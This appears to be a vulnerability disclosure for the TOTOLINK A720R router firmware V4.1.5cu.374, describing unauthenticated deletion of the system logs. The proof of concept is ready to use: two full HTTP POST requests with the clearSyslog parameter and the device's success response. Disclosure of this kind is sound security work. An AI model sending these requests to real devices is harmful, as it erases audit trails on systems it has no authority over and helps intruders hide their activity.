Overview

- Manufacturer's website information：https://www.totolink.net/
- Firmware download address ：https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/203/ids/36.html

Affected version

V4.1.5cu.374

Vulnerability details

The TOTOLINK A720R V4.1.5cu.374 firmware contains an unauthorized system log deletion vulnerability. This vulnerability occurs when a POST request is sent to the `/cgi-bin/cstecgi.cgi` with the parameter `{"topicurl":"clearSyslog"}` , allowing an attacker to delete system logs without authentication.

Poc

System logs are normally recorded.

Send a request to clear the log.

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.140.79
Content-Length: 27
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.140.79
Referer: http://192.168.140.79/basic/index.html?time=1745238634622
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

{"topicurl":"clearSyslog"}
```

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.140.79
Content-Length: 26
Cache-Control: max-age=0
Origin: http://192.168.140.79
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.140.79/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

{
    "topicurl":"clearSyslog"
}
```

```
HTTP/1.1 200 OK
Connection: close
Date: Fri, 12 Jun 2020 08:38:40 GMT
Server: lighttpd/1.4.20
Content-Length: 101

{
    "success":true,
    "error":null,
    "lan_ip":"192.168.140.79",
    "wtime":"0",
    "reserv":"reserv"
}
```

System logs have been cleared.